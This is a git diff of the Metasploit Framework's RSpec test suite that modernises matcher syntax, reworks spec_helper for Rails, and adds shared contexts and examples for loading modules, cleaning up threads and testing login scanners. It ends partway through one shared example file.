- its(:binary_install?) { should == true } - its(:git?) { should == false } + it { expect(subject.apt?).to be_falsey } + it { expect(subject.binary_install?).to be_truthy } + it { expect(subject.git?).to be_falsey } context "#validate_args" do before(:each) do @@ -252,22 +252,22 @@ describe Msfupdate do context "with no args" do let(:args) { [] } - its(:validate_args) { should == true } + it { expect(subject.validate_args).to be_truthy } end context "with --git-remote" do let(:args) { ['--git-remote', 'foo'] } - its(:validate_args) { should == false } + it { expect(subject.validate_args).to be_falsey } end context "with --git-branch" do let(:args) { ['--git-branch', 'foo'] } - its(:validate_args) { should == false } + it { expect(subject.validate_args).to be_falsey } end context "with --offline-file" do let(:args) { ['--offline-file', 'foo'] } - its(:validate_args) { should == true } + it { expect(subject.validate_args).to be_truthy } end end @@ -294,9 +294,10 @@ describe Msfupdate do context "in a git installation" do let(:msfbase_dir) { dummy_git_pathname } - its(:apt?) { should == false } - its(:binary_install?) { should == false } - its(:git?) { should == true } + it { expect(subject.apt?).to be_falsey } + it { expect(subject.binary_install?).to be_falsey } + it { expect(subject.git?).to be_truthy } + context "#validate_args" do before(:each) do @@ -305,22 +306,22 @@ describe Msfupdate do context "with no args" do let(:args) { [] } - its(:validate_args) { should == true } + it { expect(subject.validate_args).to be_truthy } end context "with --git-remote" do let(:args) { ['--git-remote', 'foo'] } - its(:validate_args) { should == true } + it { expect(subject.validate_args).to be_truthy } end context "with --git-branch" do let(:args) { ['--git-branch', 'foo'] } - its(:validate_args) { should == true } + it { expect(subject.validate_args).to be_truthy } end context "with --offline-file" do let(:args) { ['--offline-file', 'foo'] } - its(:validate_args) { should == false } + it { expect(subject.validate_args).to be_falsey } end end diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index 459103aba2..c3d5e1f3ad 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -1,49 +1,64 @@ -# -*- coding:binary -*- -require 'rubygems' -require 'bundler' -Bundler.require(:default, :test, :db) +# -*- coding: binary -*- +ENV['RAILS_ENV'] = 'test' -FILE_FIXTURES_PATH = File.expand_path(File.dirname(__FILE__)) + "/file_fixtures/" +unless Bundler.settings.without.include?(:coverage) + require 'simplecov' +end -# add project lib directory to load path -spec_pathname = Pathname.new(__FILE__).dirname -root_pathname = spec_pathname.join('..').expand_path -lib_pathname = root_pathname.join('lib') -$LOAD_PATH.unshift(lib_pathname.to_s) +# @note must be before loading config/environment because railtie needs to be loaded before +# `Metasploit::Framework::Application.initialize!` is called. +# +# Must be explicit as activerecord is optional dependency +require 'active_record/railtie' -# must be first require and started before any other requires so that it can measure coverage of all following required -# code. It is after the rubygems and bundler only because Bundler.setup supplies the LOAD_PATH to simplecov. -require 'simplecov' +require File.expand_path('../../config/environment', __FILE__) -# now that simplecov is loaded, load everything else +# Don't `require 'rspec/rails'` as it includes support for pieces of rails that metasploit-framework doesn't use require 'rspec/core' +require 'rails/version' +require 'rspec/rails/adapters' +require 'rspec/rails/extensions' +require 'rspec/rails/fixture_support' +require 'rspec/rails/matchers' +require 'rspec/rails/mocks' + +require 'metasploit/framework/spec' + +FILE_FIXTURES_PATH = File.expand_path(File.dirname(__FILE__)) + '/file_fixtures/' + +# Load the shared examples from the following engines +engines = [ + Metasploit::Concern, + Rails +] # Requires supporting ruby files with custom matchers and macros, etc, # in spec/support/ and its subdirectories. -support_glob = root_pathname.join('spec', 'support', '**', '*.rb') - -Dir.glob(support_glob) do |path| - require path +engines.each do |engine| + support_glob = engine.root.join('spec', 'support', '**', '*.rb') + Dir[support_glob].each { |f| + require f + } end RSpec.configure do |config| - config.mock_with :rspec - - # Can't use factory_girl_rails since not using rails, so emulate - # factory_girl.set_factory_paths initializer and after_initialize for - # FactoryGirl::Railtie - config.before(:suite) do - # Need to load Mdm models first so factories can use them - MetasploitDataModels.require_models - - FactoryGirl.definition_file_paths = [ - MetasploitDataModels.root.join('spec', 'factories'), - # Have metasploit-framework's definition file path last so it can - # modify gem factories. - Metasploit::Framework.root.join('spec', 'factories') - ] - - FactoryGirl.find_definitions + config.mock_with :rspec do |mocks| + mocks.yield_receiver_to_any_instance_implementation_blocks = true end + + # Run specs in random order to surface order dependencies. If you find an + # order dependency and want to debug it, you can fix the order by providing + # the seed, which is printed after each run. + # --seed 1234 + config.order = 'random' + + config.treat_symbols_as_metadata_keys_with_true_values = true + + # If you're not using ActiveRecord, or you'd prefer not to run each of your + # examples within a transaction, remove the following line or assign false + # instead of true. + config.use_transactional_fixtures = true end +Metasploit::Framework::Spec::Constants::Suite.configure! +Metasploit::Framework::Spec::Threads::Suite.configure! diff --git a/spec/support/matchers/respond_to_protected.rb b/spec/support/matchers/respond_to_protected.rb new file mode 100644 index 0000000000..bb845c5869 --- /dev/null +++ b/spec/support/matchers/respond_to_protected.rb @@ -0,0 +1,7 @@ +RSpec::Matchers.define :respond_to_protected do |method_name| + protected_and_private = true + + match do |receiver| + receiver.respond_to?(method_name, protected_and_private) + end +end \ No newline at end of file diff --git a/spec/support/shared/contexts/database_cleaner.rb b/spec/support/shared/contexts/database_cleaner.rb deleted file mode 100644 index 5bbb900e15..0000000000 --- a/spec/support/shared/contexts/database_cleaner.rb +++ /dev/null @@ -1,37 +0,0 @@ -# -*- coding:binary -*- -require 'metasploit/framework/database' - -shared_context 'DatabaseCleaner' do - def with_established_connection - begin - ActiveRecord::Base.connection_pool.with_connection do - yield - end - rescue ActiveRecord::ConnectionNotEstablished - # if there isn't a connection established, then established one and try - # again - ActiveRecord::Base.configurations = Metasploit::Framework::Database.configurations - spec = ActiveRecord::Base.configurations[Metasploit::Framework.env] - ActiveRecord::Base.establish_connection(spec) - - retry - end - end - - # clean before all in case last test run was interrupted before - # after(:each) could clean up - before(:all) do - with_established_connection do - DatabaseCleaner.clean_with(:truncation) - end - end - - # Clean up after each test - after(:each) do - with_established_connection do - # Testing using both :truncation and :deletion; :truncation took long - # for testing. - DatabaseCleaner.clean_with(:deletion) - end - end -end diff --git a/spec/support/shared/contexts/metasploit/framework/spec/constants/cleaner.rb b/spec/support/shared/contexts/metasploit/framework/spec/constants/cleaner.rb new file mode 100644 index 0000000000..44fcd529ac --- /dev/null +++ b/spec/support/shared/contexts/metasploit/framework/spec/constants/cleaner.rb @@ -0,0 +1,6 @@ +# Use in a context to clean up the constants that are created by the module loader. +shared_context 'Metasploit::Framework::Spec::Constants cleaner' do + after(:each) do + Metasploit::Framework::Spec::Constants.clean + end +end \ No newline at end of file diff --git a/spec/support/shared/contexts/msf/db_manager.rb b/spec/support/shared/contexts/msf/db_manager.rb index c060b5ceb3..6ff47e269c 100644 --- a/spec/support/shared/contexts/msf/db_manager.rb +++ b/spec/support/shared/contexts/msf/db_manager.rb @@ -1,5 +1,4 @@ shared_context 'Msf::DBManager' do - include_context 'DatabaseCleaner' include_context 'Msf::Simple::Framework' let(:active) do @@ -11,13 +10,8 @@ shared_context 'Msf::DBManager' do end before(:each) do - configurations = Metasploit::Framework::Database.configurations - spec = configurations[Metasploit::Framework.env] - - # Need to connect or ActiveRecord::Base.connection_pool will raise an - # error. - db_manager.connect(spec) - + # already connected due to use_transactional_fixtures, but need some of the side-effects of #connect + framework.db.workspace = framework.db.default_workspace db_manager.stub(:active => active) end -end \ No newline at end of file +end diff --git a/spec/support/shared/contexts/msf/framework/threads/cleaner.rb b/spec/support/shared/contexts/msf/framework/threads/cleaner.rb new file mode 100644 index 0000000000..3b851e8cbb --- /dev/null +++ b/spec/support/shared/contexts/msf/framework/threads/cleaner.rb @@ -0,0 +1,24 @@ +shared_context 'Msf::Framework#threads cleaner' do + after(:each) do |example| + unless framework.threads? + fail RuntimeError.new( + "framework.threads was never initialized. There are no threads to clean up. " \ + "Remove `include_context Msf::Framework#threads cleaner` from context around " \ + "'#{example.metadata.full_description}'" + ) + end + + # explicitly kill threads so that they don't exhaust connection pool + thread_manager = framework.threads + + thread_manager.each do |thread| + thread.kill + # ensure killed thread is cleaned up by VM + thread.join + end + + thread_manager.monitor.kill + # ensure killed thread is cleaned up by VM + thread_manager.monitor.join + end +end \ No newline at end of file diff --git a/spec/support/shared/contexts/msf/simple/framework.rb b/spec/support/shared/contexts/msf/simple/framework.rb index e55df08207..b3cc6bace4 100644 --- a/spec/support/shared/contexts/msf/simple/framework.rb +++ b/spec/support/shared/contexts/msf/simple/framework.rb @@ -4,7 +4,7 @@ require 'metasploit/framework' shared_context 'Msf::Simple::Framework' do let(:dummy_pathname) do - Metasploit::Framework.root.join('spec', 'dummy') + Rails.root.join('spec', 'dummy') end let(:framework) do @@ -26,15 +26,4 @@ shared_context 'Msf::Simple::Framework' do after(:each) do dummy_pathname.rmtree end - - after(:each) do - # explicitly kill threads so that they don't exhaust connection pool - thread_manager = framework.threads - - thread_manager.each do |thread| - thread.kill - end - - thread_manager.monitor.kill - end end diff --git a/spec/support/shared/contexts/msf/simple/framework/modules/loading.rb b/spec/support/shared/contexts/msf/simple/framework/modules/loading.rb new file mode 100644 index 0000000000..1a92bbfa6e --- /dev/null +++ b/spec/support/shared/contexts/msf/simple/framework/modules/loading.rb @@ -0,0 +1,185 @@ +# Loads, creates, and cleans up modules. +# +# @example Load and create encoder +# include_context 'Msf::Simple::Framework#modules loading' +# +# let(:encoder) { +# load_and_create_module( +# module_type: 'encoder', +# reference_name: 'x86/shikata_ga_nai' +# ) +# } +# +# @example Load and create staged payload +# include_context 'Msf::Simple::Framework#modules loading' +# +# let(:staged_payload) { +# load_and_create_module( +# ancestor_reference_names: %w{ +# stagers/android/reverse_https +# stages/android/meterpreter +# }, +# module_type: 'payload', +# reference_name: 'android/meterpreter/reverse_tcp' +# ) +# } +# +shared_context 'Msf::Simple::Framework#modules loading' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + include_context 'Msf::Simple::Framework' + + # + # Methods + # + + # Derives ancestor reference names from `:reference_name`. + # + # @param options [Hash{Symbol => Array<String>,String}] + # @option options [Array<String>] :ancestor_reference_names Override derivation from `:reference_name` and uses these + # `:ancestor_reference_names` instead. + # @option options [String] :module_type the type of the module with `:reference_name`. + # @option options [String] :reference_name the name of the module under `:module_type` whose ancestor reference names + # to derive. + # @return [Array<String>] ancestor reference names. + # @raise [KeyError] if `:ancestor_reference_names` is not given when `:module_type` is `'payload'`. + # @raise [KeyError] unless `:module_type` is given. + # @raise [KeyError] unless `:reference_name` is given. + def derive_ancestor_reference_names(options={}) + options.assert_valid_keys(:ancestor_reference_names, :module_type, :reference_name) + + options.fetch(:ancestor_reference_names) { + module_type = options.fetch(:module_type) + + if module_type == 'payload' + raise KeyError, ":ancestor_reference_names must be given when :module_type is 'payload'" + end + + # non-payload's single ancestor has the same reference name as the created module. + reference_name = options.fetch(:reference_name) + + [reference_name] + } + end + + # The module loader that can load module ancestors from `modules_path` + # + # @param modules_path [String] path to `modules` directory from which to load ancestor reference names. + # @return [Msf::Modules::Loader::Base] + def loader_for_modules_path(modules_path) + loader = framework.modules.send(:loaders).find { |loader| + loader.loadable?(modules_path) + } + + # Override load_error so that rspec will print it instead of going to framework log + def loader.load_error(module_path, error) + raise error + end + + loader + end + + # Expects to load `:ancestor_reference_name` of `:module_type` from `:modules_path`. + # + # @raise expectation failure if `:ancestor_reference_name` cannot be loaded + def expect_to_load_module_ancestor(options={}) + options.assert_valid_keys(:ancestor_reference_name, :modules_path, :module_type) + + ancestor_reference_name = options.fetch(:ancestor_reference_name) + modules_path = options.fetch(:modules_path) + module_type = options.fetch(:module_type) + + loader = loader_for_modules_path(modules_path) + loaded = loader.load_module(modules_path, module_type, ancestor_reference_name) + + expect(loaded).to eq(true), "#{module_type}/#{ancestor_reference_name} failed to load from #{modules_path}" + end + + # Expects to laod `:ancestor_reference_names` of `:module_type` from `:modules_path` + # + # @param options [Hash{Symbol => Array<String>, String}] + # @option options [Array<String>] :ancestor_reference_names the reference names of the module ancestors of + # `:module_type` to load from `:modules_path`. + # @option options [String] :modules_path The path from which to load `:ancestor_reference_names`. + # @option options [Stirng] :module_type The type of `:ancestor_reference_names` to derive their full paths under + # `:modules_path`. + # @raise expectation failure if any `:ancestor_reference_names` cannot be loaded. + def expect_to_load_module_ancestors(options={}) + options.assert_valid_keys(:ancestor_reference_names, :modules_path, :module_type) + + ancestor_references_names = options.fetch(:ancestor_reference_names) + + ancestor_references_names.each do |ancestor_reference_name| + expect_to_load_module_ancestor( + ancestor_reference_name: ancestor_reference_name, + modules_path: options[:modules_path], + module_type: options[:module_type] + ) + end + end + + # Loads module ancestors with `:module_type` and `:ancestor_reference_names` from `:module_path` and then creates + # module instance with `:module_type` and `:reference_name`. + # + # @param options [Hash{Symbol => Array<String>,<String>}] + # @option options [Array<String>] :ancestor_reference_names the reference names of the ancestor modules for the module + # to be created. Only staged payloads have two ancestors; all other modules, including single payloads, have one + # ancestor. + # @option options [String] :modules_path path to the `modules` directory from which to load + # `:ancestor_reference_names`. + # @option options [String] :module_type the type of module + # @option options [String] :modules_path (#modules_path) the 'modules' directory from which to load + # `:ancestor_reference_names`. + # @return [Msf::Module] + # @raise [KeyError] if `:ancestor_reference_names` is not given when `:module_type` is `'payload'`. + # @raise [KeyError] unless :module_type is given. + # @raise [KeyError] unless :reference_name is given. + def load_and_create_module(options={}) + options.assert_valid_keys(:ancestor_reference_names, :modules_path, :module_type, :reference_name) + + reference_name = options.fetch(:reference_name) + module_type = options.fetch(:module_type) + + ancestor_reference_names = self.derive_ancestor_reference_names( + options.except(:modules_path) + ) + + modules_path = options.fetch(:modules_path) { + self.modules_path + } + + expect_to_load_module_ancestors( + ancestor_reference_names: ancestor_reference_names, + modules_path: modules_path, + module_type: module_type + ) + + module_set = module_set_for_type(module_type) + + module_instance = module_set.create(reference_name) + expect(module_instance).not_to( + be_nil, + "Could not create #{module_type}/#{reference_name} after loading #{ancestor_reference_names.sort.to_sentence}" + ) + + module_instance + end + + # The module set for `module_type`. + # + # @param module_type [String] the module type creatable by the module set. + # @return [Msf::ModuleSet] + def module_set_for_type(module_type) + framework.modules.module_set(module_type) + end + + # + # lets + # + + # The default modules path for this `Rails.application`. + # + # @return [String] + let(:modules_path) { + Rails.application.paths['modules'].expanded.first + } +end \ No newline at end of file diff --git a/spec/support/shared/contexts/msf/util/exe.rb b/spec/support/shared/contexts/msf/util/exe.rb deleted file mode 100644 index e1372a6492..0000000000 --- a/spec/support/shared/contexts/msf/util/exe.rb +++ /dev/null @@ -1,94 +0,0 @@ - - -shared_context 'Msf::Util::Exe' do - @platform_format_map = { - "windows" => [ - { :format => "dll", :arch => "x86", :file_fp => /PE32 .*DLL/ }, - { :format => "dll", :arch => "x64", :file_fp => /PE32\+.*DLL/ }, - { :format => "exe", :arch => "x86", :file_fp => /PE32 / }, - { :format => "exe", :arch => "x64", :file_fp => /PE32\+/ }, - { :format => "exe", :arch => "x86_64", :file_fp => /PE32\+/ }, - { :format => "exe-small", :arch => "x86", :file_fp => /PE32 / }, - # No template for 64-bit exe-small. That's fine, we probably - # don't need one. - #{ :format => "exe-small", :arch => "x64", :file_fp => /PE32\+/ }, - { :format => "exe-only", :arch => "x86", :file_fp => /PE32 / }, - { :format => "exe-only", :arch => "x64", :file_fp => /PE32\+ / }, - { :format => "exe-only", :arch => "x86_64", :file_fp => /PE32\+ / }, - { :format => "exe-service", :arch => "x86", :file_fp => /PE32 / }, - { :format => "exe-service", :arch => "x64", :file_fp => /PE32\+ / }, - { :format => "exe-service", :arch => "x86_64", :file_fp => /PE32\+ / }, - { :format => "vbs", :arch => "x86", :file_fp => /ASCII/ }, - { :format => "vbs", :arch => "x86_64", :file_fp => /ASCII/ }, - { :format => "loop-vbs", :arch => "x86", :file_fp => /ASCII/ }, - { :format => "loop-vbs", :arch => "x86_64", :file_fp => /ASCII/ }, - { :format => "asp", :arch => "x86", :file_fp => /ASCII/ }, - { :format => "asp", :arch => "x86_64", :file_fp => /ASCII/ }, - { :format => "aspx-exe", :arch => "x86", :file_fp => /(ASCII)|(HTML document text)/ }, - { :format => "aspx-exe", :arch => "x86_64", :file_fp => /(ASCII)|(HTML document text)/ }, - { :format => "aspx", :arch => "x86", :file_fp => /(ASCII)|(HTML document text)/ }, - { :format => "aspx", :arch => "x86_64", :file_fp => /(ASCII)|(HTML document text)/ }, - { :format => "vba", :arch => "x86", :file_fp => /ASCII/ }, - { :format => "vba", :arch => "x86_64", :file_fp => /ASCII/ }, - { :format => "vba-exe", :arch => "x86", :file_fp => /ASCII/ }, - { :format => "vba-exe", :arch => "x86_64", :file_fp => /ASCII/ }, - { :format => "psh", :arch => "x86", :file_fp => /ASCII/ }, - { :format => "psh", :arch => "x86_64", :file_fp => /ASCII/ }, - { :format => "psh-net", :arch => "x86", :file_fp => /ASCII/ }, - { :format => "psh-net", :arch => "x86_64", :file_fp => /ASCII/ }, - { :format => "war", :arch => "x86", :file_fp => /zip/i }, - { :format => "war", :arch => "x86_64", :file_fp => /zip/i }, - { :format => "msi", :arch => "x86", :file_fp => /(Composite Document)|(CDF V2 Document)/ }, - { :format => "msi", :arch => "x64", :file_fp => /(Composite Document)|(CDF V2 Document)/ }, - { :format => "msi", :arch => "x86_64", :file_fp => /(Composite Document)|(CDF V2 Document)/ }, - { :format => "msi-nouac", :arch => "x86", :file_fp => /(Composite Document)|(CDF V2 Document)/ }, - { :format => "msi-nouac", :arch => "x64", :file_fp => /(Composite Document)|(CDF V2 Document)/ }, - { :format => "msi-nouac", :arch => "x86_64", :file_fp => /(Composite Document)|(CDF V2 Document)/ }, - ], - "linux" => [ - { :format => "elf", :arch => "x86", :file_fp => /ELF 32.*SYSV/ }, - { :format => "elf", :arch => "x64", :file_fp => /ELF 64.*SYSV/ }, - { :format => "elf", :arch => "armle", :file_fp => /ELF 32.*ARM/ }, - { :format => "elf", :arch => "mipsbe", :file_fp => /ELF 32-bit MSB executable, MIPS/ }, - { :format => "elf", :arch => "mipsle", :file_fp => /ELF 32-bit LSB executable, MIPS/ }, - { :format => "war", :arch => "x86", :file_fp => /zip/i }, - { :format => "war", :arch => "x64", :file_fp => /zip/i }, - { :format => "war", :arch => "armle", :file_fp => /zip/i }, - { :format => "war", :arch => "mipsbe", :file_fp => /zip/i }, - { :format => "war", :arch => "mipsle", :file_fp => /zip/i }, - ], - "bsd" => [ - { :format => "elf", :arch => "x86", :file_fp => /ELF 32.*BSD/ }, - { :format => "war", :arch => "x86", :file_fp => /zip/i }, - ], - "solaris" => [ - { :format => "elf", :arch => "x86", :file_fp => /ELF 32/ }, - { :format => "war", :arch => "x86", :file_fp => /zip/i }, - ], - "osx" => [ - { :format => "macho", :arch => "x86", :file_fp => /Mach-O.*i386/ }, - { :format => "macho", :arch => "x64", :file_fp => /Mach-O 64/ }, - { :format => "macho", :arch => "armle", :file_fp => /Mach-O.*(acorn|arm)/ }, - { :format => "macho", :arch => "ppc", :file_fp => /Mach-O.*ppc/ }, - { :format => "war", :arch => "x86", :file_fp => /zip/i }, - { :format => "war", :arch => "x64", :file_fp => /zip/i }, - { :format => "war", :arch => "armle", :file_fp => /zip/i }, - { :format => "war", :arch => "ppc", :file_fp => /zip/i }, - ], - } - - def verify_bin_fingerprint(format_hash, bin) - bin.should be_a(String) - fp = IO.popen("file -","w+") do |io| - begin - io.write(bin) - rescue Errno::EPIPE - end - io.close_write - io.read - end - if format_hash[:file_fp] - fp.should =~ format_hash[:file_fp] - end - end -end diff --git a/spec/support/shared/contexts/untested_payloads.rb b/spec/support/shared/contexts/untested_payloads.rb new file mode 100644 index 0000000000..8a7f8b2e13 --- /dev/null +++ b/spec/support/shared/contexts/untested_payloads.rb @@ -0,0 +1,78 @@ +# Use along with `it_should_behave_like 'payload can be instantiated'` to detect if a payload under `:modules_pathname` +# was not tested. If any payloads are untested, an error will be written to stderr and the names of untested payloads +# will be logged to `log/untested-payloads.log`. This log is reset for run of context, so if there were previously +# untested payloads and there aren't anymore, then `log/untested-payloads.log` will be deleted. Can be used with +# {Metasploit::Framework::Spec::UntestedPayloads.define_task} so that the `spec` task fails if there are untested +# payloads. +# +# @example Using 'untested payloads' with `Metasploit::Framework::Spec::UntestedPayloads.define_task` and 'payloads can be instantiated' shared examples +# # Rakefile +# require 'metasploit/framework/spec/untested_payloads' +# +# # defined spec task with rspec-rails +# My::Application.load_tasks +# # extends spec task to fail when there are untested payloads +# Metasploit::Framework::Spec::UntestedPayloads.define_task +# +# # spec/modules/payloads_spec.rb +# require 'spec_helper' +# +# describe 'modules/payloads' do +# modules_pathname = Pathname.new(__FILE__).parent.parent.parent.join('modules') +# +# include_context 'untested payloads', modules_pathname: modules_pathname +# +# context 'my/staged/payload/handler' do +# it_should_behave_like 'payload can be instantiated', +# ancestor_reference_names: [ +# 'stages/my/payload', +# 'stagers/my/payload/handler', +# modules_pathname: modules_pathname, +# reference_name: 'my/staged/payload/handler' +# ] +# end +# end +# +# @param options [Hash{Symbol => Pathname}] +# @option options [Pathname] :modules_pathname Pathname of `modules` directory underwhich payloads are defined on the +# file system. +shared_context 'untested payloads' do |options={}| + options.assert_valid_keys(:modules_pathname) + + modules_pathname = options.fetch(:modules_pathname) + + before(:all) do + @expected_ancestor_reference_name_set = Set.new + @actual_ancestor_reference_name_set = Set.new + + payloads_pathname = modules_pathname.join('payloads') + + Dir.glob(payloads_pathname.join('**', '*.rb')) do |expected_ancestor_path| + expected_ancestor_pathname = Pathname.new(expected_ancestor_path) + expected_ancestor_reference_pathname = expected_ancestor_pathname.relative_path_from(payloads_pathname) + expected_ancestor_reference_name = expected_ancestor_reference_pathname.to_path.gsub(/.rb$/, '') + + @expected_ancestor_reference_name_set.add(expected_ancestor_reference_name) + end + end + + after(:all) do + missing_ancestor_reference_name_set = @expected_ancestor_reference_name_set - @actual_ancestor_reference_name_set + + untested_payloads_pathname = Pathname.new('log/untested-payloads.log') + + if missing_ancestor_reference_name_set.empty? + if untested_payloads_pathname.exist? + untested_payloads_pathname.delete + end + else + untested_payloads_pathname.open('w') do |f| + missing_ancestor_reference_name_set.sort.each do |missing_ancestor_reference_name| + f.puts missing_ancestor_reference_name + end + end + + $stderr.puts "Some payloads are untested. See log/untested-payload.log for details." + end + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/all_modules_with_module_type_can_be_instantiated.rb b/spec/support/shared/examples/all_modules_with_module_type_can_be_instantiated.rb new file mode 100644 index 0000000000..90387b19b9 --- /dev/null +++ b/spec/support/shared/examples/all_modules_with_module_type_can_be_instantiated.rb @@ -0,0 +1,36 @@ +shared_examples_for 'all modules with module type can be instantiated' do |options={}| + options.assert_valid_keys(:module_type, :modules_pathname, :type_directory) + + module_type = options.fetch(:module_type) + modules_pathname = options.fetch(:modules_pathname) + modules_path = modules_pathname.to_path + type_directory = options.fetch(:type_directory) + + include_context 'Msf::Simple::Framework#modules loading' + + # + # lets + # + + context module_type do + type_pathname = modules_pathname.join(type_directory) + module_extension = ".rb" + module_extension_regexp = /#{Regexp.escape(module_extension)}$/ + + Dir.glob(type_pathname.join('**', "*#{module_extension}")) do |module_path| + module_pathname = Pathname.new(module_path) + module_reference_pathname = module_pathname.relative_path_from(type_pathname) + module_reference_name = module_reference_pathname.to_path.gsub(module_extension_regexp, '') + + context module_reference_name do + it 'can be instantiated' do + load_and_create_module( + module_type: module_type, + modules_path: modules_path, + reference_name: module_reference_name + ) + end + end + end + end +end diff --git a/spec/support/shared/examples/an_option.rb b/spec/support/shared/examples/an_option.rb new file mode 100644 index 0000000000..da2f7031c0 --- /dev/null +++ b/spec/support/shared/examples/an_option.rb @@ -0,0 +1,61 @@ +# -*- coding:binary -*- + +shared_examples_for "an option" do |valid_values, invalid_values, type| + subject do + described_class.new("name") + end + + let(:required) { described_class.new('name', [true, 'A description here'])} + let(:optional) { described_class.new('name', [false, 'A description here'])} + + it "should return a type of #{type}" do + subject.type.should == type + end + + context 'when required' do + it 'should not be valid for nil' do + required.valid?(nil).should == false + end + end + + context 'when not required' do + it 'it should be valid for nil' do + optional.valid?(nil).should == true + end + end + + context "with valid values" do + valid_values.each do |vhash| + valid_value = vhash[:value] + normalized_value = vhash[:normalized] + + it "should be valid and normalize appropriately: #{valid_value}" do + block = Proc.new { + subject.normalize(valid_value).should == normalized_value + subject.valid?(valid_value).should be_truthy + } + if vhash[:skip] + skip(vhash[:skip], &block) + else + block.call + end + end + end + end + + context "with invalid values" do + invalid_values.each do |vhash| + invalid_value = vhash[:value] + it "should not be valid: #{invalid_value}" do + block = Proc.new { subject.valid?(invalid_value).should be_falsey } + if vhash[:skip] + skip(vhash[:skip], &block) + else + block.call + end + end + end + end + +end + diff --git a/spec/support/shared/examples/credential/core/to_credential.rb b/spec/support/shared/examples/credential/core/to_credential.rb new file mode 100644 index 0000000000..72cf69a76a --- /dev/null +++ b/spec/support/shared/examples/credential/core/to_credential.rb @@ -0,0 +1,26 @@ +require 'metasploit/framework/credential' + +shared_examples_for 'Metasploit::Credential::Core::ToCredential' do + context "methods" do + context ".to_credential" do + + subject(:crednetial_core) do + FactoryGirl.create(:metasploit_credential_core) + end + + it { should respond_to :to_credential } + + it "should return a Metasploit::Framework::Credential" do + expect( + crednetial_core.to_credential + ).to be_a Metasploit::Framework::Credential + end + + it "should set the parent to the credential object" do + expect( + crednetial_core.to_credential.parent + ).to eq(crednetial_core) + end + end + end +end diff --git a/spec/support/shared/examples/hash_with_insensitive_access.rb b/spec/support/shared/examples/hash_with_insensitive_access.rb new file mode 100644 index 0000000000..f2821796a4 --- /dev/null +++ b/spec/support/shared/examples/hash_with_insensitive_access.rb @@ -0,0 +1,21 @@ +shared_examples_for "hash with insensitive keys" do + it "should store with insensitive key" do + subject["asdf"] = "foo" + subject["ASDF"] = "bar" + + subject["asdf"].should == "bar" + subject["ASDF"].should == "bar" + end + it "should fetch with insensitive key" do + subject["foo"] = "bar" + + subject["foo"].should == "bar" + subject["Foo"].should == "bar" + subject["FOo"].should == "bar" + subject["FOO"].should == "bar" + subject["fOO"].should == "bar" + subject["fOo"].should == "bar" + subject["FOo"].should == "bar" + subject["Foo"].should == "bar" + end +end diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb new file mode 100644 index 0000000000..c1ad92c42f --- /dev/null +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb @@ -0,0 +1,78 @@ +shared_examples_for 'Metasploit::Framework::LoginScanner::HTTP' do + subject(:http_scanner) { described_class.new } + + it { should respond_to :uri } + it { should respond_to :method } + + context "#set_sane_defaults" do + + context "without ssl, without port" do + it "should default :port to #{described_class::DEFAULT_PORT}" do + expect(http_scanner.ssl).to be_falsey + expect(http_scanner.port).to eq(described_class::DEFAULT_PORT) + end + end + + context "with ssl, without port" do + subject(:http_scanner) { described_class.new(ssl:true) } + it "should set :port to default ssl port (#{described_class::DEFAULT_SSL_PORT})" do + expect(http_scanner.ssl).to be_truthy + expect(http_scanner.port).to eq(described_class::DEFAULT_SSL_PORT) + end + end + + context "without ssl, with default port" do + subject(:http_scanner) { described_class.new(port:described_class::DEFAULT_PORT) } + it "should set ssl to false" do + expect(http_scanner.port).to eq(described_class::DEFAULT_PORT) + expect(http_scanner.ssl).to be_falsey + end + end + + context "without ssl, with default SSL port" do + subject(:http_scanner) { described_class.new(port:described_class::DEFAULT_SSL_PORT) } + it "should set ssl to true" do + expect(http_scanner.ssl).to be_truthy + expect(http_scanner.port).to eq(described_class::DEFAULT_SSL_PORT) + end + end + + context "without ssl, with non-default port" do + subject(:http_scanner) { described_class.new(port:0) } + it "should not set ssl" do + expect(http_scanner.ssl).to be_nil + expect(http_scanner.port).to eq(0) + end + end + + end + + context "#attempt_login" do + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: "public", + private: '' + ) + } + + it "Rex::ConnectionError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError) + + expect(http_scanner.attempt_login(pub_blank).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "Timeout::Error should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error) + + expect(http_scanner.attempt_login(pub_blank).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "EOFError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError) + + expect(http_scanner.attempt_login(pub_blank).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + end +end diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb new file mode 100644 index 0000000000..43463c68b7 --- /dev/null +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb @@ -0,0 +1,366 @@ + +shared_examples_for 'Metasploit::Framework::LoginScanner::Base' do | opts | + + subject(:login_scanner) { described_class.new } + + let(:public) { 'root' } + let(:private) { 'toor' } + let(:realm) { 'myrealm' } + let(:realm_key) { Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN } + + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: '' + ) + } + + let(:pub_pub) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: public + ) + } + + let(:pub_pri) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + let(:invalid_detail) { + Metasploit::Framework::Credential.new( + paired: true, + public: nil, + private: nil + ) + } + + let(:ad_cred) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private, + realm: realm, + realm_key: realm_key + ) + } + + let(:detail_group) { + [ 